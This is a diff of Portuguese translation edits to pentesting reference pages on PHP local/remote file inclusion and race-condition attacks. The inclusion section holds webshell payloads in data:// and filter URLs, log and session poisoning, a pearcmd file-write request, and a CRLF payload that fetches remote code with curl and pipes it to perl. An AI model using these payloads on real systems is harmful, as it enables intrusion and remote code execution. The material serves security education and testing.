diretório** em vez de um arquivo, uma **listagem do diretório será retornada**. Isso não acontece em outras linguagens (afaik). +Parece que, se você tiver um Path Traversal em Java e você **pedir um diretório** em vez de um arquivo, **uma listagem do diretório será retornada**. Isso não acontecerá em outras linguagens (pelo que sei). ## Top 25 parâmetros @@ -211,38 +211,38 @@ Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a lo ?mod={payload} ?conf={payload} ``` -## LFI / RFI usando wrappers e protocolos PHP +## LFI / RFI using PHP wrappers & protocols ### php://filter -PHP filters permitem executar operações básicas de **modificação dos dados** antes de serem lidos ou escritos. Existem 5 categorias de filtros: +PHP filters allow perform basic **operações de modificação nos dados** antes de serem lidos ou escritos. Existem 5 categorias de filtros: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` - `string.strip_tags`: Remove tags dos dados (tudo entre os caracteres "<" e ">") -- Observe que este filtro desapareceu nas versões modernas do PHP +- Note that this filter has disappear from the modern versions of PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Transforma para uma codificação diferente(`convert.iconv..`). Para obter a **lista de todas as codificações** suportadas execute no console: `iconv -l` +- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv..`) . Para obter a **lista de todas as codificações** suportadas execute no console: `iconv -l` > [!WARNING] -> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). +> Abusing the `convert.iconv.*` conversion filter you can **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer com que uma função como include processe texto arbitrário. Para mais info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: Comprime o conteúdo (útil se estiver exfiltrando muita informação) -- `zlib.inflate`: Descomprime os dados +- `zlib.deflate`: Comprimir o conteúdo (useful if exfiltrating a lot of info) +- `zlib.inflate`: Descomprimir os dados - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - `mcrypt.*` : Deprecated - `mdecrypt.*` : Deprecated - Outros filtros - Executando em php `var_dump(stream_get_filters());` você pode encontrar alguns **filtros inesperados**: - `consumed` -- `dechunk`: reverte HTTP chunked encoding +- `dechunk`: reverte a codificação chunked do HTTP - `convert.*` ```php # String Filters @@ -273,37 +273,37 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the > [!WARNING] > A parte "php://filter" não diferencia maiúsculas de minúsculas -### Usando php filters como oracle para ler arquivos arbitrários +### Usando php filters como oráculo para ler arquivos arbitrários -[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem que a saída seja devolvida pelo servidor. Esta técnica é baseada em uma **boolean exfiltration do arquivo (char por char) usando php filters** como oracle. Isso porque php filters podem ser usados para tornar um texto grande o suficiente para o php lançar uma exceção. +[**Neste post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem que a saída seja retornada pelo servidor. Esta técnica baseia-se numa **exfiltração booleana do arquivo (char por char) usando php filters** como oráculo. Isto ocorre porque php filters podem ser usados para tornar um texto grande o suficiente para que o php lance uma exceção. No post original você encontra uma explicação detalhada da técnica, mas aqui vai um resumo rápido: -- Use o codec **`UCS-4LE`** para deixar o caractere inicial do texto no início e fazer o tamanho da string aumentar exponencialmente. -- Isso será usado para gerar um **texto tão grande quando a letra inicial for adivinhada corretamente** que o php disparará um **erro** -- O filtro **dechunk** vai **remover tudo se o primeiro char não for hexadecimal**, então podemos saber se o primeiro char é hex. -- Isso, combinado com o anterior (e outros filters dependendo da letra adivinhada), permitirá adivinhar uma letra no início do texto observando quando fazemos transformações suficientes para que ela deixe de ser um caractere hexadecimal. Porque se for hex, dechunk não a apagará e a bomba inicial fará o php gerar um erro. -- O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então depois deste codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 vezes esse codec a->b->c->d->e->f->g a letra não será mais um caractere hexadecimal, portanto dechunk não a deleta e o erro do php é disparado porque ele se multiplica com a bomba inicial. -- Usando outras transformações como **rot13** no início é possível leak outros chars como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hex). -- Quando o char inicial é um número é necessário codificá-lo em base64 e leak as 2 primeiras letras para leak o número. -- O problema final é ver **como leak mais do que a letra inicial**. Usando filtros de ordem de memória como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível mudar a ordem dos chars e trazer para a primeira posição outras letras do texto. -- E para poder obter **further data** a ideia é **generate 2 bytes of junk data at the beginning** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazê-lo **pivot with the next 2 bytes**, e d**elete the data until the junk data** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para leak. +- Use o codec **`UCS-4LE`** para deixar o caractere inicial do texto no começo e fazer o tamanho da string crescer exponencialmente. +- Isto será usado para gerar um **texto tão grande quando a letra inicial for adivinhada corretamente** que o php irá disparar um **erro** +- O filtro **dechunk** irá **remover tudo se o primeiro char não for hexadecimal**, então podemos saber se o primeiro char é hex. +- Isso, combinado com o anterior (e outros filtros dependendo da letra adivinhada), permitirá adivinhar uma letra no início do texto ao ver quando fazemos transformações suficientes para que ela deixe de ser um caractere hexadecimal. Porque se for hex, dechunk não a apagará e a bomba inicial fará o php gerar erro. +- O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então após esse codec: a -> b). Isto nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 vezes este codec a->b->c->d->e->f->g a letra não é mais um caractere hexadecimal, portanto dechunk não a remove e o erro do php é disparado porque multiplica com a bomba inicial. +- Usando outras transformações como **rot13** no começo é possível vazar outros chars como n, o, p, q, r (e outros codecs podem ser usados para deslocar outras letras para a faixa hex). +- Quando o caractere inicial for um número, é necessário codificá-lo em base64 e vazar as 2 primeiras letras para exfiltrar o número. +- O problema final é ver **como vazar mais do que a letra inicial**. Usando filtros de ordem de memória como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível mudar a ordem dos chars e colocar em primeira posição outras letras do texto. +- E para ser capaz de obter **dados adicionais** a ideia é **gerar 2 bytes de junk no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazer um **pivot com os próximos 2 bytes**, e **deletar os dados até o junk** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para vazar. -No post também foi publicada uma ferramenta para executar isso automaticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +No post também foi divulgado uma ferramenta para executar isso automaticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd -Este wrapper permite acessar file descriptors que o processo tem abertos. Potencialmente útil para exfiltrate o conteúdo de arquivos abertos: +Este wrapper permite acessar file descriptors que o processo tem abertos. Potencialmente útil para exfiltrar o conteúdo de arquivos abertos: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -Você também pode usar **php://stdin, php://stdout and php://stderr** para acessar os **descritores de arquivo 0, 1 e 2** respectivamente (não tenho certeza de como isso poderia ser útil em um ataque) +You can also use **php://stdin, php://stdout e php://stderr** to access the **file descriptors 0, 1 e 2** respectively (não tenho certeza de como isso poderia ser útil em um attack) -### zip:// and rar:// +### zip:// e rar:// -Envie um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.\ -Para poder abusar do protocolo rar ele **precisa ser especificamente ativado**. +Upload um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.\ +Para poder abusar do rar protocol, ele **precisa ser ativado especificamente**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -328,7 +328,7 @@ http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` -Observe que este protocolo é restringido pelas configurações do php **`allow_url_open`** e **`allow_url_include`** +Observe que este protocolo é restrito pelas configurações do PHP **`allow_url_open`** e **`allow_url_include`** ### expect:// @@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data " [!WARNING] -> Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo** mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) porém o conteúdo não é exibido. +> Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo** mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) já que o conteúdo não é mostrado. -In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. +Em [**este post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como um blind path traversal pode ser abusado via PHP filter para **exfiltrar o conteúdo de um arquivo via um error oracle**. -Em resumo, a técnica usa a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo disparará um **erro**. +Como resumo, a técnica usa a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo irá disparar um **erro**. -Então, para leak the first char o filtro **`dechunk`** é usado junto com outros como **base64** ou **rot13** e, finalmente, os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **colocar outros chars no início e leak them**. +Depois, para leak do primeiro char o filter **`dechunk`** é usado junto com outros como **base64** ou **rot13** e, finalmente, os filters **`convert.iconv.UCS-4.UCS-4LE`** e **`convert.iconv.UTF16.UTF-16BE`** são usados para colocar outros chars no começo e leak them. Funções que podem ser vulneráveis: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` -Para os detalhes técnicos, confira o post mencionado! +Para os detalhes técnicos, consulte o post mencionado! ## LFI2RCE ### Arbitrary File Write via Path Traversal (Webshell RCE) -Quando o código do lado servidor que ingere/uploads arquivos constrói o caminho de destino usando dados controlados pelo usuário (por exemplo, um filename ou URL) sem canonicalizar e validar, segmentos `..` e caminhos absolutos podem escapar do diretório pretendido e causar uma escrita arbitrária de arquivo. Se você puder colocar o payload em um diretório exposto na web, normalmente obtém RCE não autenticado ao dropar um webshell. +Quando o código do lado servidor que ingere/upload de arquivos constrói o caminho de destino usando dados controlados pelo usuário (por exemplo, um filename ou URL) sem canonicalizar e validar, segmentos `..` e paths absolutos podem escapar do diretório pretendido e causar uma gravação arbitrária de arquivo. Se você conseguir colocar o payload sob um diretório exposto na web, normalmente obtém RCE não autenticado ao dropar um webshell. -Fluxo típico de exploração: -- Identificar uma primitiva de escrita em um endpoint ou background worker que aceita um path/filename e grava conteúdo no disco (por exemplo, message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.). +Fluxo de exploração típico: +- Identificar uma write primitive em um endpoint ou background worker que aceite um path/filename e escreva conteúdo no disco (por exemplo, ingestão orientada por mensagens, command handlers XML/JSON, ZIP extractors, etc.). - Determinar diretórios expostos na web. Exemplos comuns: - Apache/PHP: `/var/www/html/` - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- Criar um caminho de traversal que saia do diretório de armazenamento pretendido para o webroot e inclua o conteúdo do seu webshell. -- Acesse o payload dropado e execute comandos. +- Criar um caminho de traversal que saia do diretório de armazenamento pretendido para o webroot, e incluir o conteúdo do seu webshell. +- Acesse o payload que você colocou e execute comandos. Notas: -- O serviço vulnerável que realiza a escrita pode escutar em uma porta não-HTTP (por exemplo, um JMF XML listener em TCP 4004). O portal web principal (porta diferente) servirá seu payload depois. -- Em stacks Java, essas escritas de arquivo são frequentemente implementadas com concatenação simples de `File`/`Paths`. Falta de canonicalização/allow-listing é a falha central. +- O serviço vulnerável que realiza a escrita pode escutar em uma porta não-HTTP (por exemplo, um JMF XML listener em TCP 4004). O portal web principal (porta diferente) servirá seu payload posteriormente. +- Em stacks Java, essas escritas de arquivos frequentemente são implementadas com concatenação simples de `File`/`Paths`. Falta de canonicalisation/allow-listing é a falha central. -Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): +Exemplo genérico em estilo XML/JMF (schemas de produto variam – o wrapper DOCTYPE/body é irrelevante para o traversal): ```xml @@ -466,26 +466,26 @@ in.transferTo(out); ``` -Medidas de hardening que impedem esta classe de bugs: -- Resolva para um caminho canônico e imponha que seja um descendente de um diretório base allow-listed. -- Rejeite qualquer caminho contendo `..`, caminhos absolutos ou letras de unidade; prefira nomes de arquivo gerados. -- Execute o processo de escrita com uma conta de baixo privilégio e segregue os diretórios de escrita das raízes servidas. +Medidas de hardening que impedem essa classe de bugs: +- Resolva para um caminho canônico e verifique que ele seja descendente de um diretório base allow-listed. +- Rejeite qualquer caminho contendo `..`, raízes absolutas, ou letras de unidade; prefira nomes de arquivo gerados. +- Execute o writer como uma conta de baixo privilégio e segregue os diretórios de escrita das raízes servidas. ## Remote File Inclusion -Explicado anteriormente, [**follow this link**](#remote-file-inclusion). +Explained previously, [**follow this link**](#remote-file-inclusion). ### Via Apache/Nginx log file -Se o servidor Apache ou Nginx for **vulnerable to LFI** dentro da função include, você pode tentar acessar **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, colocar no **user agent** ou em um **GET parameter** uma php shell como **``** e incluir esse arquivo +Se o servidor Apache ou Nginx for **vulnerable to LFI** dentro da função include você pode tentar acessar **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, colocar no **user agent** ou em um **parâmetro GET** um php shell como **``** e incluir esse arquivo > [!WARNING] -> Observe que **se você usar aspas duplas** para a shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **PHP lançará um erro** ali e **nada mais será executado**. +> Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**. > -> Além disso, certifique-se de **escrever corretamente o payload** ou o PHP gerará um erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade. +> Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity. -Isso também pode ser feito em outros logs, mas **tenha cuidado,** o código dentro dos logs pode estar URL encoded e isso pode destruir a Shell. O header **authorisation "basic"** contém "user:password" em Base64 e é decodificado dentro dos logs. A PHPShell poderia ser inserida dentro desse header.\ -Outros possíveis caminhos de log: +Isso também pode ser feito em outros logs mas **cuidado,** o código dentro dos logs pode estar URL encoded e isso pode destruir a Shell. O header **authorisation "basic"** contém "user:password" em Base64 e ele é decodificado dentro dos logs. O PHPShell pode ser inserido dentro desse header.\ +Outros caminhos de logs possíveis: ```python /var/log/apache2/access.log /var/log/apache/access.log @@ -501,42 +501,42 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### Via e-mail -**Envie um e-mail** para uma conta interna (user@localhost) contendo seu PHP payload como `` e tente incluir o e-mail do usuário com um caminho como **`/var/mail/`** ou **`/var/spool/mail/`** +**Envie um e-mail** para uma conta interna (user@localhost) contendo seu payload PHP como `` e tente incluir o e-mail do usuário com um caminho como **`/var/mail/`** ou **`/var/spool/mail/`** -### Via /proc/\*/fd/\* +### Via /proc/*/fd/* 1. Faça upload de muitas shells (por exemplo: 100) -2. Inclua [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser brute forced) e $FD = descritor de arquivo (pode ser brute forced também) +2. Inclua [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser brute forced) e $FD o descritor de arquivo (também pode ser brute forced) ### Via /proc/self/environ -Como um arquivo de log, envie o payload no User-Agent; ele será refletido dentro do arquivo /proc/self/environ +Como um arquivo de log, envie o payload no User-Agent — ele será refletido dentro do arquivo /proc/self/environ ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ### Via upload -Se você puder fazer upload de um arquivo, apenas injete o shell payload nele (ex.: ``). +Se você puder fazer upload de um arquivo, basta injetar o shell payload nele (ex: ``). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` Para manter o arquivo legível, é melhor injetar nos metadados das imagens/doc/pdf -### Via upload de arquivo Zip +### Via upload de arquivo ZIP -Envie um arquivo ZIP contendo um PHP shell comprimido e acesse: +Upload um arquivo ZIP contendo um PHP shell comprimido e acesse: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` -### Via sessões PHP +### Via PHP sessions -Verifique se o site usa sessões PHP (PHPSESSID) +Verifique se o site usa PHP Session (PHPSESSID) ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` -Em PHP, essas sessões são armazenadas em arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_ +No PHP, essas sessões são armazenadas em arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_. ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; @@ -551,18 +551,18 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s ``` ### Via ssh -Se o ssh estiver ativo, verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar **\/.ssh/id_rsa** +Se o ssh estiver ativo, verifique qual user está sendo usado (/proc/self/status & /etc/passwd) e tente acessar **\/.ssh/id_rsa** ### **Via** **vsftpd** _**logs**_ -Os logs do servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que exista uma vulnerabilidade de Local File Inclusion (LFI) e seja possível acessar um servidor vsftpd exposto, podem ser considerados os seguintes passos: +Os logs do FTP server vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que existe uma vulnerabilidade de Local File Inclusion (LFI), e é possível acessar um servidor vsftpd exposto, os seguintes passos podem ser considerados: -1. Injete um PHP payload no campo username durante o processo de login. -2. Após a injeção, utilize a LFI para recuperar os logs do servidor em _**/var/log/vsftpd.log**_. +1. Injete um payload PHP no campo username durante o processo de login. +2. Após a injeção, utilize o LFI para recuperar os logs do servidor em _**/var/log/vsftpd.log**_. ### Via php base64 filter (using base64) -As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. Você pode usar isso para contornar a verificação de extensão de arquivo: se você fornecer base64 que termine com ".php", ele simplesmente ignorará o "." e anexará "php" ao base64. Aqui está um exemplo de payload: +Como mostrado em [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, PHP base64 filter simplesmente ignora Non-base64. Você pode usar isso para burlar a checagem de extensão de arquivo: se você fornecer base64 que termine com ".php", ele simplesmente vai ignorar o "." e anexar "php" ao base64. Aqui está um exemplo de payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php @@ -570,7 +570,7 @@ NOTE: the payload is "" ``` ### Via php filters (no file needed) -Este [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **php filters para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para o include **sem precisar escrevê-lo** em um arquivo. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. O que basicamente significa que você pode **generate arbitrary php code** para o include **sem precisar escrevê‑lo** em um arquivo. {{#ref}} @@ -579,7 +579,7 @@ lfi2rce-via-php-filters.md ### Via segmentation fault -**Faça upload** de um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição,** provoque um **segmentation fault**, e então o **arquivo temporário não será deletado** e você pode procurá-lo. +**Upload** um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição,** provoque um **segmentation fault**, e então o **arquivo temporário não será deletado** e você pode procurá‑lo. {{#ref}} @@ -588,7 +588,7 @@ lfi2rce-via-segmentation-fault.md ### Via Nginx temp file storage -Se você encontrou uma **Local File Inclusion** e o **Nginx** está rodando na frente do PHP, você pode ser capaz de obter RCE com a técnica a seguir: +Se você encontrou uma **Local File Inclusion** e **Nginx** está rodando na frente do PHP, você pode conseguir RCE com a técnica a seguir: {{#ref}} @@ -597,7 +597,7 @@ lfi2rce-via-nginx-temp-files.md ### Via PHP_SESSION_UPLOAD_PROGRESS -Se você encontrou uma **Local File Inclusion** mesmo que você **não tenha uma sessão** e `session.auto_start` esteja `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** em dados **multipart POST**, o PHP irá **ativar a sessão para você**. Você pode abusar disso para obter RCE: +Se você encontrou uma **Local File Inclusion** mesmo se você **não tiver uma sessão** e `session.auto_start` estiver `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** em dados **multipart POST**, o PHP irá **ativar a sessão para você**. Você pode abusar disso para obter RCE: {{#ref}} @@ -606,7 +606,7 @@ via-php_session_upload_progress.md ### Via temp file uploads in Windows -Se você encontrou uma **Local File Inclusion** e o servidor está rodando em **Windows**, você pode obter RCE: +Se você encontrou uma **Local File Inclusion** e o servidor está rodando em **Windows**, você pode conseguir RCE: {{#ref}} @@ -615,13 +615,13 @@ lfi2rce-via-temp-file-uploads.md ### Via `pearcmd.php` + URL args -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Além disso, é possível passar argumentos para o script via a URL porque está indicado que se um parâmetro de URL não tiver um `=`, ele deve ser usado como argumento. Veja também [watchTowr’s write‑up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). -The following request create a file in `/tmp/hello.php` with the content ``: +A requisição a seguir cria um arquivo em `/tmp/hello.php` com o conteúdo ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -O seguinte explora uma CRLF vuln para obter RCE (de [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +O seguinte abusa de uma vuln CRLF para obter RCE (de [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a @@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php ``` ### Via phpinfo() (file_uploads = on) -Se você encontrou uma **Local File Inclusion** e um arquivo expondo **phpinfo()** com file_uploads = on, você pode obter RCE: +Se você encontrou um **Local File Inclusion** e um arquivo expondo **phpinfo()** com file_uploads = on você pode obter RCE: {{#ref}} @@ -639,7 +639,7 @@ lfi2rce-via-phpinfo.md ### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -Se você encontrou uma **Local File Inclusion** e você **pode exfiltrar o path** do arquivo temporário MAS o **server** está **checando** se o **arquivo a ser incluído tem PHP marks**, você pode tentar **bypassar essa checagem** com esta **Race Condition**: +Se você encontrou um **Local File Inclusion** e você **can exfiltrate the path** do arquivo temporário, mas o **server** está **checking** se o **file to be included has PHP marks**, você pode tentar **bypass that check** com esta **Race Condition**: {{#ref}} @@ -648,19 +648,19 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md ### Via eternal waiting + bruteforce -Se você conseguir abusar do LFI para **upload temporary files** e fazer o **server** **hang** a execução do PHP, você poderia então **brute force** nomes de arquivo por horas para encontrar o arquivo temporário: +Se você consegue abusar do LFI para **upload temporary files** e fazer o **server** **hang** a execução do PHP, você então poderia **brute force filenames durante horas** para encontrar o arquivo temporário: {{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}} -### Para Fatal Error +### To Fatal Error -Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (É preciso incluir o mesmo arquivo 2 vezes para provocar esse erro). +Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo duas vezes para provocar esse erro). -**Não sei quão útil isso é, mas pode ser.**\ -_Mesmo que você cause um PHP Fatal Error, os arquivos temporários do PHP carregados são deletados._ +**Não sei como isso é útil, mas pode ser.**\ +_Mesmo que você cause um PHP Fatal Error, os arquivos temporários do PHP enviados são deletados._
diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md index e4531125e..efc7142da 100644 --- a/src/pentesting-web/race-condition.md +++ b/src/pentesting-web/race-condition.md @@ -3,47 +3,47 @@ {{#include ../banners/hacktricks-training.md}} > [!WARNING] -> Para obter uma compreensão profunda desta técnica, consulte o relatório original em [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) +> Para obter um entendimento aprofundado desta técnica, consulte o relatório original em [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) -## Aprimorando ataques de Race Condition +## Enhancing Race Condition Attacks -O principal obstáculo para explorar race conditions é garantir que múltiplas requisições sejam processadas ao mesmo tempo, com **diferença muito pequena nos seus tempos de processamento — idealmente, menos de 1ms**. +O principal obstáculo em aproveitar race conditions é garantir que múltiplas requests sejam tratadas ao mesmo tempo, com uma diferença muito pequena em seus tempos de processamento — idealmente, menos de 1ms. -Aqui você encontra algumas técnicas para sincronizar requisições: +Aqui você pode encontrar algumas técnicas para Synchronizing Requests: #### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization -- **HTTP/2**: Suporta o envio de duas requisições sobre uma única conexão TCP, reduzindo o impacto do jitter de rede. Contudo, devido a variações do lado do servidor, duas requisições podem não ser suficientes para um exploit consistente de race condition. -- **HTTP/1.1 'Last-Byte Sync'**: Permite pré-enviar a maior parte de 20-30 requisições, retendo um pequeno fragmento que é enviado em conjunto, alcançando chegada simultânea no servidor. +- **HTTP/2**: Suporta enviar duas requests sobre uma única conexão TCP, reduzindo o impacto do jitter de rede. Contudo, devido a variações no lado do servidor, duas requests podem não ser suficientes para um exploit consistente de race condition. +- **HTTP/1.1 'Last-Byte Sync'**: Permite pré-enviar a maior parte de 20-30 requests, retendo um pequeno fragmento, que é então enviado junto, alcançando chegada simultânea no servidor. -**Preparação para Last-Byte Sync** envolve: +**Preparation for Last-Byte Sync** envolve: -1. Enviar headers e dados do body menos o último byte sem encerrar o stream. +1. Enviar headers e dados do body menos o byte final sem finalizar o stream. 2. Pausar por 100ms após o envio inicial. -3. Desabilitar TCP_NODELAY para utilizar o algoritmo de Nagle e agrupar os frames finais. +3. Desabilitar TCP_NODELAY para utilizar o Nagle's algorithm para agrupar os frames finais. 4. Fazer ping para aquecer a conexão. -O envio subsequente dos frames retidos deve resultar na chegada deles em um único pacote, verificável via Wireshark. Esse método não se aplica a arquivos estáticos, que normalmente não estão envolvidos em ataques RC. +O envio subsequente dos frames retidos deve resultar na chegada deles em um único packet, verificável via Wireshark. Este método não se aplica a static files, que normalmente não estão envolvidos em RC attacks. -### Adaptando-se à arquitetura do servidor +### Adapting to Server Architecture -Entender a arquitetura do alvo é crucial. Servidores front-end podem rotear requisições de formas diferentes, afetando o timing. Pré-aquecer conexões do lado do servidor, através de requisições sem importância, pode normalizar o tempo das requisições. +Entender a arquitetura do alvo é crucial. Front-end servers podem rotear requests de forma diferente, afetando o timing. Aquecer conexões do lado do servidor de forma preemptiva, por meio de requests sem importância, pode normalizar o timing das requests. -#### Lidando com bloqueio baseado em sessão +#### Handling Session-Based Locking -Frameworks como o session handler do PHP serializam requisições por sessão, potencialmente ocultando vulnerabilidades. Utilizar tokens de sessão diferentes para cada requisição pode contornar esse problema. +Frameworks como o session handler do PHP serializam requests por session, 